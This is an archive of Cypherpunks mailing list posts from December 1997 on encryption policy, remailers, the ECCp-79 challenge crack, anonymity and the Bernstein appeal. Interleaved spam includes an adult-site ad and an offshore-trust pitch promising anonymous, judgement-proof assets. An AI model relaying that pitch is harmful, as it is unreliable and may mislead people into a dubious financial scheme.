in Mandarin Chinese is not being abridged...
  It's discomforting to realize that George Orwell was an optomist...

  Anybody notice that PGP 5+ 'offers' to upload your newly created
key _before_ it adds it to your keyring? 
  Everybody realize that 'VoluMandatory Offer' == 'Requirement'?
Anybody doubt the future of key generation <--> key registration?

  My point?
  Those who wish to 'fight-censorship' had better be prepared to start
fighting 'dirty'...as well as fighting 'underground'.
  If you think I'm kidding, reflect for a moment on why the Chinese
Communists are being allowed increasing access to strong encryption
while censorship fighting CypherPunks are becoming subject to an
increasing number of laws restricting domestic strong encryption.
  i.e. - The Chinese Communists do not fit the profile of domestic
terrorists, as reported recently on the list--they don't quote the
Constitution and Bill of Rights and speak out against big government.

The Bottom Line:
Big Brother is going Global. The PowerMongers are not just dividing
up the financial spoils among themselves, they are also beginning
to divide up the humans and human rights among themselves.

You can already be imprisoned in Alabama for your web site in Utah.
It will not be long before you can be imprisoned in Germany for
your web site in Alabama.

The government is building their backdoors. Individuals who value
their freedom and privacy need to do the same. The government is
arming themselves with meatspace and cyberspace weaponry. Ibid.

Don't be alarmed...be armed!
Be very armed...

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn
"God's Canadian Hate Page"
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm






From ptrei at securitydynamics.com  Mon Dec  8 06:27:25 1997
From: ptrei at securitydynamics.com (Trei, Peter)
Date: Mon, 8 Dec 1997 22:27:25 +0800
Subject: ECCp-79 challenge cracked
Message-ID: <6B5344C210C7D011835C0000F80127668B1587@exna01.securitydynamics.com>



I'm enclosing two messages from sci.crypt:

Peter Trei

------------------------------------------------------------------------
First message

On sci.crypt Volker Mueller 
wrote:
>[...] Maybe the problem  is not so easy. The biggest  DL computation
for an
>elliptic curve was  a 19 digit  prime order computation (up to my
>knowledge).  The first Certicom "exercise"  has 79 bits or 24 decimal
>digits.
>
>Cheers,  Volker

You're right, the so-called "exercise"  was not so easy!

However a few Alphas and some optimised code got through it
eventually.  I just posted the following to Certicom...

-- Rob.

PS: Any volunteers willing to dedicate Alpha CPU time for cracking the
    next challenge?  With a bunch of machines it would be a piece of
cake!


------------------------------------------------------------------------
------
This message is copyright Robert J. Harley, 1997.
If you wish to quote more than one sentence, please quote the whole
thing.

To: certicom-ecc-challenge at certicom.com

                                        Robert J. Harley,
                                        Se`vres, France,
                                        6th of December, 1997.

Dear Anonymous,

Certicom's professed aim in setting its ECC challenge is to encourage
research into secure cryptosystems based on elliptic curve discrete
logarithms.  Yet Certicom is a member of the Key Recovery Alliance, a
lobby group whose purpose is to promote the use of back-doors allowing
supposedly secure communications to be intercepted.  How are these
contradictory positions reconciled?

The solution to your ECCp-79 problem is the residue class of
92221507219705345685350 modulo 466597814831947642887217.  It was found
by Wayne Baisley and myself using several Digital Alpha workstations
running Linux and Digital Unix at the Institut National de Recherche
en Informatique et Automatique (INRIA), at Fermi National Accelerator
Laboratory and at the California Institute of Technology
C.S. Department.

The method used was a "birthday paradox" algorithm iterating from a
random initial point (one per machine) with a random function (the
same on all machines) until a collision was detected at 17:58 today at
INRIA, Rocquencourt, France by a 500MHz Linux machine.  This machine
did 25 billion elliptic curve operations per day.  The peak rate of
all machines was approximately 6 six times as much.  A total of about
1400 billion iterations were performed.

If this is the first correct submission, please send the prize (a copy
of "Handbook of Applied Cryptography" and Maple software) to the
following address:

  Robert Harley,
  c/o Sylvie Loubressac,
  Projet CRISTAL,
  INRIA,
  Domaine de Voluceau - Rocquencourt,
  78153 Le Chesnay,
  France.


Thank you,
  Rob.
     .-.                     Robert.Harley at inria.fr
.-.
    /   \           .-.                                 .-.           /
\
   /     \         /   \       .-.     _     .-.       /   \         /
\
  /       \       /     \     /   \   / \   /   \     /     \       /
\
 /         \     /       \   /     `-'   `-'     \   /       \     /
\
            \   /         `-'                     `-'         \   /
             `-'  Linux + 500MHz Alpha + 256MB SDRAM = heaven  `-'
------------------------------------------------------------------------
------

------------------------------------------------------------------------
----------------------------------------------
Second message:


From:         Dimitris Tsapakidis 
Date:         1997/12/08
Message-ID:   <348BDD10.B5B2E641 at alien.bt.co.uk>
Newsgroups:   sci.crypt
[More Headers]


Hello Robert,

Congratulations on your effort. We would like to post some
information on our attempt at BT Labs. We found the private key
after you at 19:58 GMT on Sunday the 7th. We only completed 481
billion ECC operations at a peak rate of 84 billion per day using
170 to 210 machines.

A couple of months ago we contributed 180-250 machines to the
distributed.net/Bovine group attack on RC5-56, peaking at
60 million keys/sec.

  Dimitris






From sam12435 at aol.com  Mon Dec  8 22:32:54 1997
From: sam12435 at aol.com (sam12435 at aol.com)
Date: Mon, 8 Dec 1997 22:32:54 -0800 (PST)
Subject: FROM FLORIDA *** FRESH CITRUS FRUIT AND GIFT BASKETS
Message-ID: <0000000000.AAA000@aol.com>



                     FOR ORDERS & INFORMATION CALL

                             941-549-0918

FRESH FLORIDA CITRUS FOR:                 ID#MLM1325

FAMILY                  HOLIDAYS
        FRIENDS                 BIRTHDAYS
                CUSTOMERS               ANNIVERSARY
                        CORPORATE               FLORIDA GREETINGS

CITRUS PACK
         TREE-RIPENED ORANGES & SEEDLESS GRAPEFRUIT.

       FULL BUSHEL.........44.95   ALL ORANGES  ALL GRAPEFRUIT   MIXED
       3/4  BUSHEL.........38.95   ALL ORANGES  ALL GRAPEFRUIT   MIXED
       1/2  BUSHEL.........32.95   ALL ORANGES  ALL GRAPEFRUIT   MIXED
       2/5  BUSHEL.........28.95   ALL ORANGES  ALL GRAPEFRUIT   MIXED
       1/4  BUSHEL.........24.95   ALL ORANGES  ALL GRAPEFRUIT   MIXED

     PRICES INCLUDE DELIVERY TO US AND CANADA

   OTHER PACKS AVAILABLE - DEPENDING ON SEASON




///////////////////////////////////////////////////////////////////////////////
If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings. Type  " Remove" to be removed.
////////////////////////////////////////////////////////////////////////////////









From harish at brokat.com.sg  Mon Dec  8 07:05:39 1997
From: harish at brokat.com.sg (Harish Pillay)
Date: Mon, 8 Dec 1997 23:05:39 +0800
Subject: Quick Response Team in sg?
In-Reply-To: 
Message-ID: <199712081030.SAA08442@brokat.com.sg>



bureau42 Anonymous Remailer shaped the electrons to read ...
> 
> From:             Mail Administrator
> Send reply to:    Mail Administrator
> Subject:          Mail System Error - Returned Mail
> > This Message was undeliverable due to the following reason:
> > 
> > The following destination addresses were unknown (please 
> > check the addresses and re-mail the message):
> > 
> > SMTP 
> > 
> > Please reply to Postmaster at vang.pacific.net.sg
> > if you feel this message to be in error.
> 
> Hmmmmm.

Yes, hmmmm it is.  harish at brokat.com.sg is not functional yet.  Minor
glitch.  So, do reply to h.pillay at ieee.org for the time being.
-- 
Harish Pillay                             	  h.pillay at ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish






From raph at CS.Berkeley.EDU  Mon Dec  8 07:07:05 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 8 Dec 1997 23:07:05 +0800
Subject: List of reliable remailers
Message-ID: <199712081450.GAA24078@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = " cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = " cpunk pgp hash latent cut post ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera at juno.com             ------------  5:03:45  99.86%
nym      config at nym.alias.net             +*#**#**###       :34  95.82%
redneck  config at anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster at remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix at squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias at alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer at replay.com              ****   ***      10:06  94.93%
arrid    arrid at juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer at bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer at anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer at cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock at rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer at neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez at juno.com                               4:58:22 -36.97%
reno     middleman at cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From bways at earth.spearhead.net  Tue Dec  9 00:18:44 1997
From: bways at earth.spearhead.net (bways at earth.spearhead.net)
Date: Tue, 9 Dec 1997 00:18:44 -0800 (PST)
Subject: Why NOT have an Offshore Trust ??
Message-ID: <199712090710.BAA30433@earth.spearhead.net>


It's perfectly legal and within all our rights to have our savings in an offshore trust!  You too can keep your assets  judgement-proof, accessible and completely anonymous by owning a trust in a foreign bank. It's how the rich have been procting their assets for all these years.

Got no money, you say? Here's a good opportunity. You can earn really well, and quickly, as a representative in this very interesting business. All earnings are deposited directly  into your trust. Doesn't get any better than that! Easy to learn reports & training course are available.

Now you can offer Information to friends about tax havens & trusts, assset protection, offshore business & banking, completely anonymous International credit cards, and lowest-rate prepaid national and International calling cards. 

Or - just own a trust... It's worth it. It makes you feel really good....Like your money is not just being wasted, or up for grabs by anyone with enough determination to take it away...

Know about this now! http://209.136.73.164/bways/offshoretrust

To be removed from this list, simply hit reply...






From E.J.Koops at kub.nl  Mon Dec  8 08:30:33 1997
From: E.J.Koops at kub.nl (Bert-Jaap Koops)
Date: Tue, 9 Dec 1997 00:30:33 +0800
Subject: Crypto Law Survey updated
Message-ID: <3E24B04053C@frw3.kub.nl>



I have just updated my survey of existing and envisaged cryptography
laws and regulations. See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
-new entries on Estonia, Hungary, Kazakhstan, Latvia, Romania, Turkey
     (import/export) and on Argentina, Malaysia, South Korea (domestic) 
-update on European Union (Commission Communication: advises
     export adaptation, wary of key recovery, EU will use encryption
     itself), Belgium (govt proposal), Brazil (import/ use controls
     possible in 1998), France (expected decrees delayed by NL),
     Germany (Kanther chip; no regulation intention), Sweden (Cabinet
     Office report), Turkey (perhaps domestic controls), 
     US (BXA seeks comments; Bernstein hearing scheduled; SAFE
     Act amended/ uncertain future; KMI FIPS meetings; AES candidate
     call) 
-clarification on Poland (import), Singapore, South Africa,
     UK (export) 
-URLs added to EU (KRISIS), France (critique), UK
     (list of responses), US (KMI FIPS, amendment S909) 

Kind regards,
Bert-Jaap

---------------------------------------------------------------------
Bert-Jaap Koops                         tel     +31 13 466 8101
Center for Law, Administration and      facs    +31 13 466 8149
Informatization, Tilburg University     e-mail  E.J.Koops at kub.nl
                  --------------------------------------------------
Postbus 90153    |  This world's just mad enough to have been made  |
5000 LE Tilburg  |    by the Being his beings into being prayed.    |
The Netherlands  |                (Howard Nemerov)                  |
---------------------------------------------------------------------
         http://cwis.kub.nl/~frw/people/koops/bertjaap.htm
---------------------------------------------------------------------






From tm at dev.null  Mon Dec  8 08:48:51 1997
From: tm at dev.null (TruthMonger)
Date: Tue, 9 Dec 1997 00:48:51 +0800
Subject: [Fwd: (Fwd) GILC on racism, Asian events, copyright, etc. (472 l (fwd)]
Message-ID: <348C2181.78E0@dev.null>

An embedded message was scrubbed...
From: unknown sender
Subject: no subject
Date: no date
Size: 25202
URL: 

From declan at well.com  Mon Dec  8 09:15:26 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 9 Dec 1997 01:15:26 +0800
Subject: A Pretty Good Story, from The Netly News
Message-ID: 



*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1617,00.html

The Netly News Network (http://netlynews.com/)
December 8, 1997

A Pretty Good Story
by Declan McCullagh (declan at well.com)

        Phil Zimmermann had it easy fighting the U.S. government: At
   least everyone else was on his side. Today the legendary cryptographer
   and founder of Pretty Good Privacy (PGP) is finding that his latest
   adversaries are just as determined but much more diverse.

       Earlier this fall PGP drew fire for releasing PGP 5.5 with a
   so-called "message recovery" feature that a corporation could require
   users to turn on to let the boss read their e-mail. Then, when McAfee
   Associates announced last week it would buy PGP, formerly supportive
   privacy advocates screamed that the company's new owners were part of
   the "Key Recovery Alliance," a group of firms devoted to producing
   data-scrambling software easily snoopable by the government.

        Now the complaining may stop, at least for a while. The
   McAfee-PGP combo, called Network Associates, has dropped out of the
   alliance. "I never would have allowed my own company to join the Key
   Recovery Alliance," Zimmermann told me yesterday. "As soon as I found
   out about McAfee being a member, I tried to do something about it."

[...]







From declan at well.com  Mon Dec  8 09:18:12 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 9 Dec 1997 01:18:12 +0800
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit
Message-ID: 



[What was that the IFEA folks were saying last week? Oh, yes, I remember: 
by building systems like PICS you also create an irresistable temptation
for Congress to make them mandatory. --Declan]



                                 Business Wire

                            December 5, 1997, Friday

DISTRIBUTION: Business/News Editors & High-Tech Writers

LENGTH: 486 words

HEADLINE: Child-Safety Advocate Calls on Congress to Mandate Parental
Software on All Computers Sold in U.S.

DATELINE:  LOS ANGELES

BODY:
   Dec. 5, 1997--Saying that we must protect children from the dangers of
sexually explicit material on the Internet, a leading child-safety advocate
Friday called on Congress to enact legislation to mandate that every
computer sold in the United States by 1999 be outfitted with parental
software that can block out sexually explicit or adult Web sites.

    Jayne Murphy Shapiro, founder and president of KIDS SAFE, an
organization dedicated to protecting children against sexual molestation,
is writing all members of Congress to express her concerns about the
dangers of the Internet and her goal to make the Internet online experience
safe, educational and entertaining for chldren.

    Shapiro, who attended the Internet Online Summit in Washington this
week and met with government officials and community activists from across
the country, said, "Mandating that computer makers install screening
software will give parents new power to control what material young
children are exposed to.

    "Our proposal would require manufacturers to install computer software
in new computers to allow parents to block Internet sites considered too
violent or obscene for their children.  The easy-to-use filtering software
would allow parents, educators and employers to screen the Internet,
providing an alternative to government censorship."

    Shapiro pointed out that KIDS SAFE does not believe in censorship of
the Internet, but rather in the common goal of protecting the First
Amendment and the Internet so it can be used for free expression, education
and commerce.

    Current software on the market allows for an Internet site to be
blocked if it meets the following guidelines: 1) a disclaimer indicating
restricted access; and 2) a screen or warning that identifies the site as
adult-oriented or containing information unsuitable for those underage or
the publisher has requested that his/her site be blocked.

    "Screening software, coupled with parental responsibility, enables
parents to make informed decisions about what Internet sites their children
can enter," said Shapiro.  "Parental responsibility, with the help of the
screening software, can be a major step in curtailing the needless exposure
to
inappropriate Web sites that plague the Internet." -0- NOTE: Jayne Murphy
Shapiro, president of KIDS SAFE, is available for comments on this or any
other child-safety issues.



------

                        The Record (Bergen County, NJ)

                    December 4, 1997; THURSDAY; ALL EDITIONS

SECTION: OPINION; Pg. L10

LENGTH: 618 words

HEADLINE: PEDOPHILES IN CYBERSPACE ;
WE MUST STOP CHILD PORNOGRAPHY ON THE INTERNET

BYLINE: The Record

BODY:
   THE increasing presence of child pornography on the Internet is a
national problem that must be dealt with aggressively and quickly. This is
not a free-speech or First Amendment issue. Child pornography is a crime.
We do not tolerate it in our communities, and we should not
tolerate it in cyberspace.

   Unfortunately, as a Page One article in The Record pointed out
yesterday, cyberspace is tailor-made for the dissemination of child
pornography. It allows pedophiles instant access to explicit photos in the
privacy of their own homes, and it gives distributors and collectors enough
anonymity to avoid getting caught and being prosecuted.

   In fact, the anonymity and the ease of finding sexually
explicit material involving children on the Internet may have actually
broadened the audience for child pornography. And law enforcement
officials worry that this could in turn lead to increased child sexual abuse.

   Vice President Al Gore has been leading a campaign to make the
Internet safe for children. This week, he announced a new partnership
between Internet service providers and the Justice Department in an
effort to crack down on child pornography, and a toll-free hot line to
report any suspected incidents of child sexual exploitation.

   America Online also announced its cooperation."When child
pornography is appropriately brought to our attention and we have
control over it, we will remove it,"AOL Chairman Steve Case said.

   But law enforcement officials, computer experts, and child
advocates say it's not that easy, by any means. Even if AOL cooperates, a
great deal of child pornography is found on chat rooms hosted by
hundreds of much smaller providers, who are loathe to police themselves
because of liability or censorship concerns, or because they don't have the
staff to do so.

   The Record's article also pointed out that most law enforcement
officials are not knowledgeable enough to track down child pornography
distributors, who are experts at disguising themselves on the Internet and
finding new ways to fool monitors. Law enforcement officials may
also lack the manpower needed to track down pedophiles."If we go on

line undercover for one night,"one investigator said,"we're busy for
two weeks, getting warrants and records."

   Many more"cybercops"are needed at the federal, state, and
local levels who have the expertise to keep one step ahead of child
pornographers, and much more manpower and training is needed.

   In New Jersey, state Sen. Andrew Ciesla, R-Brick, has
introduced a bill that would create a high-tech crimes and investigation
support unit for the state police. The measure, which should be
approved, would set aside $ 400,000 for the unit to investigate computer
crimes, including child pornography on the Internet, and create a
24-hour toll-free state hot line for reporting anything suspicious.

    Alerting the authorities is a key component of this crackdown,
and Mr. Gore also announced a national"Cybertip"hot line to report
suspicious on-line activity related to child pornography. The number is
(800) 843-5678.

   The vice president is to be commended for seeking ways to stop
these ugly predators. But this effort must be more than just lip
service. It will take time to find the most effective ways to crack down on
child pornography on the Internet, but the quest should take on
increasing urgency, given all the evidence that the problem is growing.

    In the meantime, intense pressure should be brought to bear on the
Internet industry, which can make a huge dent in this particularly vile
cybercrime by aggressively policing itself.

----








From FelthamS at TragoeS.com  Mon Dec  8 09:28:06 1997
From: FelthamS at TragoeS.com (Stacey Feltham)
Date: Tue, 9 Dec 1997 01:28:06 +0800
Subject: RightsMarket Demo
Message-ID: <297DACB7BC85D0119D510080C82BC2AB09E76A@dns.TragoeS.com>



Thank you for your interest in our product.

In an effort to authenticate each user, we would ask that you please
provide us with a more comprehensive profile, such as your full name,
company name, and complete address and telephone information.

Once this information has been forwarded to us (you can simply forward
this information to this email address), we would be happy to provide
you with a Username and Password for the RightsMarket Demo.

Thank you again for your interest in our product and we look forward to
receiving this information.







From schear at lvdi.net  Mon Dec  8 09:30:49 1997
From: schear at lvdi.net (Steve Schear)
Date: Tue, 9 Dec 1997 01:30:49 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: 
Message-ID: 



>(Why is this discussion limited to just the four of us? Surely Declan and
>his Cato buddies are worthy to hear our arguments? I dislike the "taking
>things private" mindset, when the lists are already so cluttered with Toto
>rants and other consumers of vast amounts of bandwidth.)

If my header lines implied this, it was inadvertent.  I agree more 'relevent' content on CP is desireable.

>I haven't quite said that all forms of communication/spending money will be
>speech and therefore protected. (Besides, we all know of many forms of
>speech that are unprotected.)
>
>What I (and Michael Froomkin, in his own CFP talk) have argued is that
>digital money will be _undetectable_ in many cases unless government
>demands that the contents of a private communication be revealed. A kind of
>prior restraint on speech.
>
[snip]

>If the government determines, somehow, that Alice was
>involved in an illegal transaction, tax evasion, money laundering, etc.,
>they can try to get her on that. But they can't insist that words be
>submitted to a government agent for approval."

Isn't uttering a check protected speech?  What about if a check is stego-coded in some political rant?  Can the Feds insist I not utter that speech?

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear at lvdi.net
---------------------------------------------------------------------

	I know not what course others may take; but as for me, 
	give me ECache or give me debt!

	"It's your Cache�"







From 12355302 at 32245.com  Tue Dec  9 01:35:00 1997
From: 12355302 at 32245.com (12355302 at 32245.com)
Date: Tue, 9 Dec 1997 01:35:00 -0800 (PST)
Subject: Our guest Area is the Best...
Message-ID: <995115.568@XXXluv4u.com>


Filled with the hottest XXX action on the net. See it NOW for FREE...

http://www.fleshgrotto.com/guests/

We feature Streaming XXX videos, LIVE feeds, huge XXX galleries, 
adult toys, imports, and much more!!! Our LIVE CyberSex can't be beat, see the
Newest Blondes in our stable.. Ashley and Brianna.
Come see how the latest in technological wizardry can make hardcore XXX
action EXPLODE on your screen.
No other site gives their guests so much... Check It Out.

http://www.fleshgrotto.com/guests/





From comsec at nym.alias.net  Mon Dec  8 09:51:34 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Tue, 9 Dec 1997 01:51:34 +0800
Subject: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <19971208174004.3670.qmail@nym.alias.net>



-----BEGIN PGP SIGNED MESSAGE-----

Harish Pillay 
 
> Interesting that you hide behind an anomymous name and you claim to
                       ^^^^^^^^^^^
> be outside Singapore.  I for one, will stand by my name and say that
> things I should say about this country of mine (warts and all) and
> not have to hide behind anonymity (not that I would not use anonymity
              ^^^^^^^^^^^
> ever :-)). 

I find it interesting that most of the people who refer to anonymous
posters as "hiding behind" or "hiding behind the skirts of" something
usually have unlisted telephone numbers when you try to do a search
for them.   I wonder why "hiding behind" an unlisted telephone number
is considered acceptable but having an "unlisted" e-mail address is not
considered acceptable?

Nor is it useful to argue that anonymity should only be used when it's
"needed".  That decision should be at the sole discretion of the
poster.  With the advent of firms that sell "dossiers" of the public
posts of potential job candidates to employers, maybe posting using your
own name is something everyone ought to at least reconsider.  For many
people, the choice is not between posting openly versus posting
anonymously, but rather between posting openly and NOT POSTING AT ALL.

Censorious individuals contribute to that by deliberately attempting to
ridicule and discredit anonymous posters.  Since you often cannot determine
an anonymous poster's religion, race, nationality, or sexual preference,
those who prefer ad hominem attack to a rational debate of the issues attack 
the poster's anonymity, instead.

BTW, do you "hide behind" clothes when you walk on the street?  If so, why?
Got something to hide?  Huh?  COWARD!!!! 

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNIwRWgbp0h8ZvosNAQFZ6Af9G4P92aD68wwQEHH4xNiHvD5x8JDzIFCK
fzFPp+IxuSQi+0R8i8Udt9XUh317Ec78lgwuRpStwS8LooE88oBWP2A5StU9k0BH
kEDT7U8XlP73z0MCxr3kGmKC7TQwJo7cBZma7GbLjs9+wN5w7/k3nhXPLmA0At2y
wmV08KIHl1pJacR36dRSfb8vuph6KwkglAU+az1BxDROIfWWqCYXVDsADULsz63p
dOiiHkIS4yDLyLSU9osGLA62zkGLZMHYIfs8eWDB9AVNoPHwo7l0DxMMtsF+QjtR
Qjdeor+DUd4jo+4tmYGPBwdX370EHqXjN/J3/CspGc+e+GVRyIU/Nw==
=Zi6K
-----END PGP SIGNATURE-----






From gnu at toad.com  Tue Dec  9 01:52:34 1997
From: gnu at toad.com (John Gilmore)
Date: Tue, 9 Dec 1997 01:52:34 -0800 (PST)
Subject: Press URL's from today's Bernstein appeal hearing
Message-ID: <199712090930.BAA06481@toad.com>


Today's hearing in the Ninth Circuit Court of Appeals went very well.
The judges clearly understood the case -- both the picky legal
details, and how it fits into the general social issue of encryption
regulation.  While we can't predict their decision (or even when it
will come out), we are cautiously optimistic.

We'll put transcripts of the hearing up on the Web as soon as we get
them from the court reporter (in days or weeks).

You may want to examine some early press coverage of the hearing at:

http://www.nytimes.com/library/cyber/week/120997encrypt-bernstein.html
http://www.news.com/News/Item/0,4,17114,00.html
http://www.zdnet.com/zdnn/content/zdnn/1208/261695.html

(The Times requires a username/password; use "cypherpunks" and "cypherpunks"
if you don't want them to track your accesses.)

	John Gilmore
	Electronic Frontier Foundation






From reinhold at world.std.com  Mon Dec  8 09:56:43 1997
From: reinhold at world.std.com (Arnold G. Reinhold)
Date: Tue, 9 Dec 1997 01:56:43 +0800
Subject: WoT discussions, Trust for Nyms
In-Reply-To: 
Message-ID: 



At 12:06 AM +0000 12/6/97, Adam Back wrote:>
>
>Another lower bandwidth method of making the MITM's job harder is to
>sign and/or publish hashes of public key databases -- download the
>keys, or some useful easily definable subset of keys on keyservers,
>and publish the hash of them in as many media as possible (web,
>finger, news, mail, newspapers, etc.)
>

I have always felt this to be a nearly complete and practical answer to
MITM attacks. Frozen versions of major key databases would be made
available on the net along with a master list of hashes. The hash of that
master list would be widely distributed by electronic and non-electronic
means. One would only have to do it periodically, say every year or two.
Why can't this be done now?

A public billboards would be a good location to post the master hash.  (I
like to call the whole approach the "Billboard defense.") I suspect one
could rent visible space on the back side of billboards quite cheaply.
Another good location would be on a bulletin board near a publicly
accessible library. The MIT "infinite corridor" comes to mind.

A variant is for PGP users to post their own fingerprint near their house
or place of business. A business-card-size sign in a window near the front
door would do. People who agree to post such signs would be identified in
the key server database. A suspicions John could then look up a suitable
public key holder in their area, visit their house, and verify the
fingerprint. John would then e-mail an encrypted request to verify a
suspect key to that person.

>Let's say John buys a book on cryptography, and the author included
>his fingerprint.  Then John could use this person to authenticate a
>key with Alice.  He could write to the author, including a nonce with
>the plaintext, and ask the author to check that the key he thought
>belonged to Alice really did belong to her.
>

My PGP fingerprint is printed on page 232 of E-mail for Dummies, 2nd
edition, IDG Books Worldwide, which I co-authored.

Arnold Reinhold







From declan at well.com  Mon Dec  8 10:00:39 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 9 Dec 1997 02:00:39 +0800
Subject: Time Magazine on America Online pornospam and Kids Summit
Message-ID: 



*********

http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.why_johnny_ca
.html

Time Magazine
December 15, 1997
Page 76

AMERICA ONLINE'S LITTLE PROBLEM
By Michael D. Lemonick
Reported by Bruce van Voorst and Declan McCullagh/Washington

   If you logged on to America Online last week, you may well have found
   E-mail waiting from someone you never heard of imploring you to JOIN
   US AT PINK PUSSY CLUB THE HOTTEST SITE FOR XXX LIVE GIRL SEX SHOWS!!
   or proclaiming OVER 1,000 EROTIC AND EXOTIC SHOWS!!!!!! CLICK HERE TO
   ENTER or any of hundreds of similar electronic come-ons.

   Spam--unsolicited junk E-mail--is perhaps the most irritating feature
   of online life. Its purveyors use powerful software to "harvest"
   screen names and then ship out bulk electronic mail bearing sales
   pitches or get-rich-quick schemes.

[...]

Other Time features:

Bruce Handy on last week's Kids Summit: "Why Johnny Can't Surf":

http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.america_onlin
.html

Time poll on Are Your Kids Safe Online?

http://cgi.pathfinder.com/cgi-bin/gdml2x/game/time/internet







